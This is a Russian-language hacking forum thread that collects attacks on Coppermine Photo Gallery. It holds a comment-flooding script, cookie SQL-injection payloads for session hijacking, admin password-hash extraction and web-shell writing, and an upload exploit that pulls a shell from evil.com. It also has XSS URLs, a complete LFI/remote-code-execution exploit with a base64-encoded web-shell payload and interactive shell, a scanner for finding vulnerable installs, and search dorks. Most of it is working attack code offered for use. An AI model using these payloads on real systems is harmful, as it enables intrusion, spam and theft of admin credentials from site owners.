Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

21.02.2008, 15:17
|
|
Постоянный
Регистрация: 30.09.2007
Сообщений: 815
Провел на форуме: 2590715
Репутация:
659
|
|
Может кому-то понадобится: простенький флудер галлерей CPG на php. Флудит в комментах : требует указать промежуток индексов фотографий, которые нужно зафлудить, кол-во сообщений, текст сообщение и имя автора. Заливаем на ФТП и погнали ))
Код:
<?
#######################################
# flood.php
# Coppermine Photo Gallery Easy Flooder
# (C) diehard
#######################################
$host = "www.site.com";
$addr = "/gallery/";
$N = $_GET['n']; // number of flood
$author = $_GET['name']; // name
$message = $_GET['msg']; // message
$pid1 = $_GET['pos1']; // absolute position of photo FROM
$pid2 = $_GET['pos2']; // absolute position of photo TO
if (($N=='')||($author=='')||($message=='')||($pid1=='')||($pid2==''))
{
echo "<form method=get name=form1 action=flood.php>N:<input value='100' type=text name=n><br>Author:<input type=text value='Vasia' name=name><br>Message:<input value='Hello! My name is Vasia' type=text name=msg><br>Pos of photo FROM:<input type=text value=1 name=pos1><br>Pos of photo TO:<input type=text value=322 name=pos2><br><input type=submit value=go></form>";
}
else
{
$i=0;
while ($i<$N) {
$i++;
$pid = $pid1-1;
while($pid<$pid2){
$pid++;
$post="msg_author=$author&msg_body=$message&event=comment&pid=$pid&submit=OK";
$len = strlen($post);
$query = "POST $addr/db_input.php?event=comment HTTP/1.1\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.1.4322; .NET CLR 2.0.50215)\r\n".
"Host: $host\r\n".
"Referer: http://".$host.$addr."displayimage.php?pos=-$pid\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Connection: close\r\n".
"Content-Length: $len\r\n".
"\r\n".
"$post";
echo "<BR>Photo $pid : Message $i<BR>";
$conn = fsockopen($host, 80, $errno, $errstr, 1000);
fputs($conn, $query);
while (!feof($conn))
{
$ss = fgets($conn, 128);
echo $ss;
}
}
}
}
?>
Последний раз редактировалось diehard; 21.02.2008 в 16:17..
|
|
|

30.03.2008, 15:26
|
|
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме: 4839935
Репутация:
1202
|
|
2voron999888, 2+toxa+
Эксплоит использует два запроса вложенный один в другой.
Сначала идет
-1) UNION SELECT [HEX],1 as md5_password/*
Где [HEX] - полезная нагрузка, которая будет возвращена как результат во второй SQL-запрос.
[HEX] => to_hex => '0) UNION SELECT '.$GLOBALS['album'].' AND ' .$query. '/*'
Видимо такой автор видел возможность получения логических 0 и 1.
Бонус в том, что на ура пройдет выгрузка шела, ведь HEX позволяет избежать слеширования ковычек.
Иными словами
COOKIE: cpm_gallery=-1) UNION SELECT [HEX],1 as md5_password/*
где [HEX]
0) UNION SELECT '<?php;phpinfo();?>' from cpg_users into outfile('/www/shell.php')/*
[i] Не забываем, нужен file_priv для текущего mysql юзверя.
[i] Напоминаю, что для выгрузки в файл НЕОБХОДИМО формально указать любую существующую таблицу к которой у данного юзверя должен быть доступ.
[i] -1, 0 указываются для того чтобы первая часть запроса ничего не возвращала, в противном случае ваш юнион запрос может быть не обработан. Это я про ваши IN(1).
PS:
В родном эксплоите от РСТ необходимо заменить
на
PHP код:
$page = 'thumbnails.php';
...и он начинает правильно находить имя кук 
|
|
|
Coppermine <=1.4.16 [Content-type] SQL-injection Exploit |

25.04.2008, 02:17
|
|
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме: 4839935
Репутация:
1202
|
|
Coppermine <=1.4.16 [Content-type] SQL-injection Exploit
Coppermine <=1.4.16 [Content-type] SQL-injection Exploit
1) Дата:
Найдена: April 9, 2008
Пропатчена: April 11, 2008 (http://forum.coppermine-gallery.net/index.php/topic,51787.0.html)
2) Продукт: Coppermine Photo Gallery <=1.4.16
3) Уязвимость: SQL-injection в [Content-type] при загрузке удаленных файлов.
Галерея доверяет ответу удаленного сервера.
4) Автор: Elekt (bug found April 9, 2008)
5) Тип: удалённая
6) Опасность: 5/10
7) Описание:
Уязвимость позволяет получить веб-шелл или хеш админа.
Необоходима валидная учетная запись + вам должно быть разрешено заливать файлы по удаленным ссылкам.
8) Эксплоит: способ эксплуатации уязвимости
[1] Shell upload
1) Заливаем shell.hack и .htaccess на свой сервер
2) Авторизуйтесь, вам должно быть разрешено заливать файлы
3) Загрузить файл -> Загрузка ссылок -> http://evil.com/shell.hack
4) Удачная загрузка -> Продолжить
5) Path to shell: http://target/albums/edit/mURI_temp_xxxxxxxx.php
[2] Admin data
1) Заливаем exploit.hack и .htaccess на свой сервер
2) Настраиваем [options] в эксплойте
2.1) Используем $mode=2 зная префикс таблиц. Указываем $prefix.
2.2) Используем $mode=1 для определения префикса таблиц. Затем $mode=2
3) Авторизуйтесь, вам должно быть разрешено заливать файлы
4) Загрузить файл -> Загрузка ссылок -> http://evil.com/exploit.hack
5) Удачная загрузка -> Продолжить -> mURI_temp_xxxxxxxx.[result]
6) Переведите hex() в ascii(), например http://quest.antichat.net/code.php
9) Поиск: пример поиска приложения через поисковые системы
Powered by Coppermine Photo Gallery
10) Решение: решение для устранения уязвимости
http://forum.coppermine-gallery.net/index.php/topic,51787.0.html
Сам уязвимый код:
/upload.php
PHP код:
if (!USER_CAN_UPLOAD_PICTURES && !USER_CAN_CREATE_ALBUMS) {
cpg_die(ERROR, $lang_errors['perm_denied'], __FILE__, __LINE__);
}
$URI_upload_count = count($_POST['URI_array']);
if ($URI_upload_count > 0) {
if(!(eregi('^content-type: ([[:graph:]]+)', $header['wrapper_data'][$i], $MIME_extraction_array))) {
$MIME_result = cpg_db_query("SELECT extension FROM {$CONFIG['TABLE_FILETYPES']} WHERE mime='$URI_MIME_type'");
|
|
|
Coppermine <=1.4.17 SQL-inj Session Hijack Exploit |

25.04.2008, 02:18
|
|
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме: 4839935
Репутация:
1202
|
|
Coppermine <=1.4.17 SQL-inj Session Hijack Exploit
Coppermine <=1.4.17 SQL-inj Session Hijack Exploit
1) Дата:
Пропатчена: April 11, 2008 (http://forum.coppermine-gallery.net/index.php/topic,51882.0.html)
2) Продукт: Coppermine Photo Gallery <=1.4.17
3) Уязвимость: SQL-инъекция в $_COOKIE[$this->client_id] в [/bridge/coppermine.inc.php]
Значение извлекается из куков без проверок.
4) Автор: unknown
6) Опасность: 4/10
5) Тип: удалённая
7) Описание:
Уязвимость позволяет присвоить валидную сессию админа или получить хеш пароля админа.
[1] Session hijacking
В случае существования валидной сессии (время жизни сессии 1 час) - атакующий повысит свои права до админа.
Эксплоит:
по конкретному id админа.пользователя
Cookie: [$this->client_id]=blah") or user_id=[admin_id]/*;
например:
60e8773ee5c8bcc63dac366e197055a4=hack!") or user_id=1/*;
автоопределение админской сессии
COOKIE: Cookie: [$this->client_id]=Antich@t") union select cpg14x_sessions.user_id from cpg14x_sessions,cpg14x_users where cpg14x_users.user_group=1 AND cpg14x_users.user_id=cpg14x_sessions.user_id limit 0,1/*;
[2] Хеш: перебор через more1row
COOKIE: Cookie: [$this->client_id]=Antich@t") or 1=if(ascii(substr((select concat(user_id,0x3a,user_name,0x3a,user_password,0 x3a,user_email) from cpg14x_users where user_group=1 and user_active='YES' limit 1),1,1))<=1,(select 2 union select 3),2)/*
COOKIE: Cookie: [$this->client_id]=Antich@t") or 1=if(ascii(substr((select concat(user_id,0x3a,user_name,0x3a,user_password,0 x3a,user_email) from cpg14x_users where user_group=1 and user_active='YES' limit 1),1,1))<=254,(select 2 union select 3),2)/*
9) Поиск: пример поиска приложения через поисковые системы
Powered by Coppermine Photo Gallery
10) Решение: решение для устранения уязвимости
http://forum.coppermine-gallery.net/index.php/topic,51882.0.html
Разработчик пофиксил проблему, заменив md5-sql на md5-php:
было
PHP код:
where session_id = md5(" ' . $session_id . ' "); ';
стало
PHP код:
where session_id = ' " . md5($session_id) . " ' ";
Сам уязвимый код:
PHP код:
function session_extraction()
{
// Get the session cookie value
$sessioncookie = $_COOKIE[$this->client_id];
// Create the session id by concat(session_cookie_value, client_id)
$session_id = $sessioncookie.$this->client_id;
if ($sessioncookie) {
// Check for valid session
$sql = 'select user_id from '.$this->sessionstable.' where session_id=md5("'.$session_id.'");';
|
|
|
Coppermine <=1.4.18 Ecard SQL-injection Vulnerable |

28.04.2008, 18:56
|
|
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме: 4839935
Репутация:
1202
|
|
Coppermine <=1.4.18 Ecard SQL-injection Vulnerable
Coppermine <=1.4.18 Ecard SQL-injection Vulnerable
1) Дата:
Найдена: April 28, 2008
2) Продукт: Coppermine Photo Gallery <=1.4.18
3) Уязвимость: SQL-injection в [user_email] при регистрации и отсылке открыток.
4) Автор: Elekt (bug found April 28, 2008)
5) Тип: удалённая
6) Опасность: 3/10
7) Описание:
Уязвимость позволяет выполнить произвольные SQL-команды, например получить хеш админа используя технологию брута "more1row".
Необоходимые условия:
~ включена регистрация новых пользователей(по дефолту отключено)
~ не требуется подтверждение через email
~ включен лог открыток(по дефолту отключено)
Как и почему это работает.
1) Опасные символы заменяются в "/include/init.inc.php" html аналогами в GET,POST,REQUEST , но '\' не затрагивается.
А заодно stripslashes()'тся, что дает возможность использовать NULL-byte.
2) При регистрации нового пользователя используется регулярка основанная на ereg(), который уязвим к NULL-byte, прекращая обработку строки при встрече с ним.
Таким образом email вида "test@blah.com\x00\" успешно проходит проверку.
3) В БД email попадает со слешем на конце. Что это дает? Если где-либо в скрипте первый query получит email и передаст его во второй query без фильтрации, то слэш заэкранирует закрывающую ковычку, синтаксис запроса нарушится и возникет SQL-Error.
SQL-error:
Код HTML:
INSERT INTO cpg1418_ecards (sender_name, sender_email, recipient_name, recipient_email, link, date, sender_ip) VALUES ('123', 'test@blah.com\', 'SomeUserName', 'SomeUser@email.com', '5OntzOjI6InJuIjtzOjk', '', '127.0.0.1')
4) С ошибки нам ничего не поиметь, но вот если сразу после параметра email будет идти еще один параметр, который мы можем произвольно менять, то становится возможным проведение фрагменитированной SQL-injection
SQL-inj-more1row:
Код HTML:
INSERT INTO cpg1418_ecards (sender_name, sender_email, recipient_name, recipient_email, link, date, sender_ip) VALUES ('123', 'test@blah.com\', '[SQL-inject-more1row]', 'SomeUser@email.com', '5OntzOjI6InJuIjtzOjk', '', '127.0.0.1')
5) Как видно, открывающаяся ковычка поля recipient_name превращается в закрывающуюся ковычку sender_email. Мы получаем возможность провести SQL-inj в поле recipient_name.
8) Эксплоит: способ эксплуатации уязвимости
1) Снифаем пакет регистрации, вставляя в область email : "mymail@mail.ru%00\" . Отправляем. Ответ сервера сообщит нам об ошибке email.
2) Берем отснифанный пакет и меняем в нем %2500 на %00. Отсылаем. Сервер сообщает об успешной регистрации. Авторизуемся.
3) Теперь выбираем любую картинку в галерее. Жмем на значок письма (Отправить этот файл как открытку)
5) Корректно заполняем и отсылаем. Если сервер сообщает об ошибке БД - вам повезло - лог открыток включен и возможна SQL-inj. Если нет, то нет.
6) В поле "Имя получателя" проводим SQL-more1row.
FALSE
Имя получателя:
Код HTML:
or if(ascii(substring((select concat(user_id,0x3a,user_name,0x3a,user_password,0x3a,user_email) from cpg14x_users where user_group=1 limit 1),1,1))=254,1,(select 1 union select 2))=1, 0x6861636b6572 , 0x6861636b6572406d61696c2e7275 , 0x6861636b , 0x31323039333931343430 , 0x3230372e34362e3233322e313832 )/*
TRUE
Имя получателя:
Код HTML:
or if(ascii(substring((select concat(user_id,0x3a,user_name,0x3a,user_password,0x3a,user_email) from cpg14x_users where user_group=1 limit 1),1,1))=49,1,(select 1 union select 2))=1, 0x6861636b6572 , 0x6861636b6572406d61696c2e7275 , 0x6861636b , 0x31323039333931343430 , 0x3230372e34362e3233322e313832 )/*
Скрипт перебора напишите сами.
7) Фильтруется '<' '>' . Можно использовать только '='
9) Поиск: пример поиска приложения через поисковые системы
Powered by Coppermine Photo Gallery
10) Решение: решение для устранения уязвимости
1) установить addslashes() перед регуляркой проверки email в register.php
2) экранировать "\"
Сам уязвимый код:
/ecard.php
PHP код:
if ($CONFIG['log_ecards'] == 1) {
$result_log = cpg_db_query("INSERT INTO {$CONFIG['TABLE_ECARDS']} (sender_name, sender_email, recipient_name, recipient_email, link, date, sender_ip) VALUES ('$sender_name', '$sender_email', '$recipient_name', '$recipient_email', '$encoded_data', '$tempTime', '{$_SERVER["REMOTE_ADDR"]}')");
}
/register.php
PHP код:
$email = trim(get_post_var('email'));
if (!eregi("^[_\.0-9a-z\-]+@([0-9a-z][0-9a-z-]+\.)+[a-z]{2,6}$", $email)) $error .= '<li>' . $lang_register_php['err_invalid_email'];
$sql = "INSERT INTO {$CONFIG['TABLE_USERS']} ".
"(user_regdate, user_active, user_actkey, user_name, user_password, user_email, user_profile1, user_profile2, user_profile3, user_profile4, user_profile5, user_profile6) ".
"VALUES (NOW(), '$active', '$act_key', '" . addslashes($user_name) . "', '" . addslashes($encpassword) . "', '" . addslashes($email) . "', '$profile1', '$profile2', '$profile3', '$profile4', '$profile5', '$profile6')";
Последний раз редактировалось Elekt; 08.09.2008 в 12:43..
|
|
|

01.05.2008, 03:59
|
|
Banned
Регистрация: 30.03.2007
Сообщений: 344
Провел на форуме: 5149122
Репутация:
2438
|
|
XSS:
Код:
http://localhost/nuke72/modules/coppermine/docs/ menu.inc.php?CPG_URL=foobar"> [xsscode here]
http://localhost/nuke72/modules/coppermine/docs/ menu.inc.php?CPG_URL=foobar"> <body%20onload=alert(document.cookie);>
(с)
|
|
|
XSS Coppermine Photo Gallery <= 1.4.18 |

04.05.2008, 23:40
|
|
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме: 4839935
Репутация:
1202
|
|
XSS Coppermine Photo Gallery <= 1.4.18
XSS Coppermine Photo Gallery <= 1.4.18
http://target.com/cpg/docs/showdoc.php?css="><script>alert(/Achat/)</script><
|
|
|
Coppermine Photo Gallery <= 1.4.18 LFI / Remote Code Execution Exploit |

02.08.2008, 14:06
|
|
Banned
Регистрация: 01.08.2008
Сообщений: 7
Провел на форуме: 20122
Репутация:
11
|
|
Coppermine Photo Gallery <= 1.4.18 LFI / Remote Code Execution Exploit
PHP код:
<?php
/*
----------------------------------------------------------------------
Coppermine Photo Gallery <= 1.4.18 LFI / Remote Code Execution Exploit
----------------------------------------------------------------------
author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com
link.....: http://coppermine-gallery.net/
dork.....: "Powered by Coppermine Photo Gallery"
[-] vulnerable code to LFI in /include/init.inc.php
263. // Start output buffering
264. ob_start('cpg_filter_page_html');
265.
266. // Parse cookie stored user profile
267. user_get_profile(); <==== [1]
268.
269. // Authenticate
270. $cpg_udb->authenticate();
[...]
301. // Process language selection if present in URI or in user profile or try
302. // autodetection if default charset is utf-8
303. if (!empty($_GET['lang']))
304. {
305. $USER['lang'] = ereg("^[a-z0-9_-]*$", $_GET['lang']) ? $_GET['lang'] : $CONFIG['lang'];
306. }
307.
308. if (isset($USER['lang']) && !strstr($USER['lang'], '/') && file_exists('lang/' . $USER['lang'] . '.php'))
309. {
310. $CONFIG['default_lang'] = $CONFIG['lang']; // Save default language
311. $CONFIG['lang'] = strtr($USER['lang'], '$/\\:*?"\'<>|`', '____________');
312. }
313. elseif ($CONFIG['charset'] == 'utf-8') <====== [2]
314. {
315. include('include/select_lang.inc.php');
316. if (file_exists('lang/' . $USER['lang'] . '.php'))
317. {
318. $CONFIG['default_lang'] = $CONFIG['lang']; // Save default language
319. $CONFIG['lang'] = $USER['lang'];
320. }
321. }
322. else
323. {
324. unset($USER['lang']);
325. }
326.
327. if (isset($CONFIG['default_lang']) && ($CONFIG['default_lang']==$CONFIG['lang']))
328. {
329. unset($CONFIG['default_lang']);
330. }
331.
332. if (!file_exists("lang/{$CONFIG['lang']}.php"))
333. $CONFIG['lang'] = 'english';
334.
335. // We load the chosen language file
336. require "lang/{$CONFIG['lang']}.php"; <======== [3]
if $CONFIG['charset'] is set to 'utf-8' [2] (this is the default configuration), an attacker could be able to
include an arbitrary local file through the require() at line 336 [3], due to $USER array can be manipulate by
cookies (see user_get_profile() function [1] defined into /include/functions.inc.php, near lines 128-146)
[-] Path disclosure in /themes/sample/theme.php
[-] Possible bug fix in /include/functions.inc.php
128. function user_get_profile()
129. {
130. global $CONFIG, $USER;
131.
132. if (isset($_COOKIE[$CONFIG['cookie_name'].'_data'])) {
133. $USER = @unserialize(@base64_decode($_COOKIE[$CONFIG['cookie_name'].'_data']));
134. $USER['lang'] = ereg("^[a-z0-9_-]*$", $USER['lang']) ? $USER['lang'] : $CONFIG['lang'];
135. }
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
define(STDIN, fopen("php://stdin", "r"));
function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
return $resp;
}
function get_info()
{
global $host, $path, $cookie, $version, $path_disc;
$packet = "GET {$path} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";
$html = http_send($host, $packet);
preg_match("/Set-Cookie: (.*)_data/", $html, $match);
$cookie = $match[1];
preg_match("/<!--Coppermine Photo Gallery (.*) /", $html, $match);
$version = $match[1];
$packet = "GET {$path}themes/sample/theme.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";
preg_match("/in <b>(.*)themes/", http_send($host, $packet), $match);
$path_disc = $match[1];
}
function get_logs()
{
$logs[] = "/apache/logs/access.log";
$logs[] = "/apache2/logs/access.log";
$logs[] = "/apache/log/access.log";
$logs[] = "/apache2/log/access.log";
$logs[] = "/logs/access.log";
$logs[] = "/var/log/apache/access.log";
$logs[] = "/var/log/apache2/access.log";
$logs[] = "/var/log/access.log";
$logs[] = "/var/www/logs/access.log";
$logs[] = "/var/www/log/access.log";
$logs[] = "/var/log/httpd/access.log";
$logs[] = "/etc/httpd/logs/access.log";
$logs[] = "/usr/local/apache/logs/access.log";
$logs[] = "/usr/local/apache2/logs/access.log";
for ($i = 0, $climb = "../.."; $i < 7; $i++)
{
foreach ($logs as $_log) $array[] = $climb.$_log;
$climb .= "/..";
}
return $array;
}
function first_time()
{
global $host, $path;
$packet = "GET {$path}proof.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";
return (!preg_match("/_code_/", http_send($host, $packet)));
}
function lfi()
{
global $host, $path, $cookie;
$logs = get_logs();
foreach ($logs as $_log)
{
print "[-] Trying to include {$_log}\n";
$data = base64_encode(serialize(array("ID" => md5(time()), "am" => 1, "lang" => $_log.chr(0))));
$packet = "GET {$path} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$cookie}_data={$data}\r\n";
$packet .= "Connection: close\r\n\r\n";
$resp = http_send($host, $packet);
if (!preg_match("/f=fopen/", $resp) && preg_match("/_LfI_/", $resp)) return true;
sleep(1);
}
return false;
}
print "\n+-------------------------------------------------------------------------+";
print "\n| Coppermine Photo Gallery <= 1.4.18 LFI / Code Execution Exploit by EgiX |";
print "\n+-------------------------------------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage...: php $argv[0] host path\n";
print "\nhost....: target server (ip/hostname)";
print "\npath....: path to cpg directory\n";
die();
}
$host = $argv[1];
$path = $argv[2];
get_info();
print "\n[-] Version..........: {$version}";
print "\n[-] Cookie name......: {$cookie}";
print "\n[-] Path disclosure..: {$path_disc}\n\n";
if (first_time())
{
$code = base64_decode(
"PD9waHA7JGY9Zm9wZW4oY2hyKDExMikuY2hyKDExNCkuY2hyKDExMSkuY2hyKDExMSkuY2hyKDEwMikuY2hyKDQ2KS5jaHIoM" .
"TEyKS5jaHIoMTA0KS5jaHIoMTEyKSxjaHIoMTE5KSk7ZndyaXRlKCRmLGNocig2MCkuY2hyKDYzKS5jaHIoMTEyKS5jaHIoMT" .
"A0KS5jaHIoMTEyKS5jaHIoMzIpLmNocigxMDEpLmNocig5OSkuY2hyKDEwNCkuY2hyKDExMSkuY2hyKDMyKS5jaHIoMzkpLmN" .
"ocig5NSkuY2hyKDk5KS5jaHIoMTExKS5jaHIoMTAwKS5jaHIoMTAxKS5jaHIoOTUpLmNocigzOSkuY2hyKDU5KS5jaHIoMzIp" .
"LmNocigxMTIpLmNocig5NykuY2hyKDExNSkuY2hyKDExNSkuY2hyKDExNikuY2hyKDEwNCkuY2hyKDExNCkuY2hyKDExNykuY" .
"2hyKDQwKS5jaHIoOTgpLmNocig5NykuY2hyKDExNSkuY2hyKDEwMSkuY2hyKDU0KS5jaHIoNTIpLmNocig5NSkuY2hyKDEwMC" .
"kuY2hyKDEwMSkuY2hyKDk5KS5jaHIoMTExKS5jaHIoMTAwKS5jaHIoMTAxKS5jaHIoNDApLmNocigzNikuY2hyKDk1KS5jaHI" .
"oODMpLmNocig2OSkuY2hyKDgyKS5jaHIoODYpLmNocig2OSkuY2hyKDgyKS5jaHIoOTEpLmNocigzOSkuY2hyKDcyKS5jaHIo" .
"ODQpLmNocig4NCkuY2hyKDgwKS5jaHIoOTUpLmNocig2NykuY2hyKDc3KS5jaHIoNjgpLmNocigzOSkuY2hyKDkzKS5jaHIoN" .
"DEpLmNocig0MSkuY2hyKDU5KS5jaHIoMzIpLmNocig2MykuY2hyKDYyKSk7ZmNsb3NlKCRmKTtkaWUoX0xmSV8pOz8+");
$packet = "GET {$path}{$code} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "User-Agent: {$code}\r\n";
$packet .= "Connection: close\r\n\r\n";
http_send($host, $packet);
if (!lfi()) die("\n[-] Exploit failed...\n");
}
while(1)
{
print "\ncoppermine-shell# ";
$cmd = trim(fgets(STDIN));
if ($cmd != "exit")
{
$packet = "GET {$path}proof.php HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Cmd: ".base64_encode($cmd)."\r\n";
$packet.= "Connection: close\r\n\r\n";
list($header, $payload) = explode("_code_", http_send($host, $packet));
preg_match("/200 OK/", $header) ? print "\n{$payload}" : die("\n[-] Exploit failed...\n");
}
else break;
}
?>
|
|
|

04.08.2008, 15:26
|
|
Постоянный
Регистрация: 10.11.2006
Сообщений: 416
Провел на форуме: 5636868
Репутация:
849
|
|
ПАРСЕР ВЕРСИЙ
Скрипт работает по списку.
http:// указывать обязательно
Создает после выполнения 2 файлика: output.txt и log.txt
В log.txt хранится весь лог работы, данные ДОБАВЛЯЮТСЯ.
В output.txt хранится лог по обработке текущего списка. Предыдущие результаты стираются. В этот файл не попадают сайты, версию у которых определить не удалось...
P.S. Кому не нужны версии старше определенной, удаляем 2 строки комментария в исходнике и добавляем 1 сразу после них
Код:
#!/usr/bin/perl
use LWP::UserAgent;
use Time::tm;
print "\n############# Coppermine Version Parser v0.2 ###############\n\n";
if (@ARGV != 1) { notvalid(); exit();}
my $uagent = LWP::UserAgent->new();
open (INPUT, "< input.txt");
open (OUTPUT, "> output.txt");
open (LOG, ">> log.txt");
print LOG "======================== ".localtime()." ========================\n\n";
while ($url = <INPUT>) {
chomp($url);
my $req = HTTP::Request->new(GET => "$url");
my $res = $uagent->request($req);
$mystr=$res->as_string;
if ($mystr=~ /\<\!\-\-Coppermine\s+Photo\s+Gallery\s+(\d+.\d+.\d+)/)
{
$tolog = "[+] [".localtime()."] ".$url." --> ".$1."\n";
# if ($1=~ /1.4.18/) { print LOG $tolog; print $tolog; }
# else { print LOG $tolog; print OUTPUT $tolog; print $tolog;}
print LOG $tolog; print OUTPUT $tolog; print $tolog;
}
else
{
$tolog = "[-] [".localtime()."] ".$url." --> Version unknown...\n";
print LOG $tolog; print $tolog;
}
}
print LOG "\n\n";
close INPUT;
close OUTPUT;
close LOG;
sub notvalid()
{
print "Usage: parser.pl <site list>\r\n";
print "Example: parser.pl input.txt\r\n\nNOTE: URLs in list must be ABSOLUTE!!!\n";
}
|
|
|

04.01.2009, 01:45
|
|
Новичок
Регистрация: 28.12.2008
Сообщений: 3
Провел на форуме: 7775
Репутация:
0
|
|
Сообщение от Каратель
[PHP]<?php
/*
----------------------------------------------------------------------
Coppermine Photo Gallery <= 1.4.18 LFI / Remote Code Execution Exploit
----------------------------------------------------------------------
author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com
link.....: http://coppermine-gallery.net/
dork.....: "Powered by Coppermine Photo Gallery"
[-] vulnerable code to LFI in /include/init.inc.php
а полного кода нет ни у кого??
Последний раз редактировалось deathking; 04.01.2009 в 01:47..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|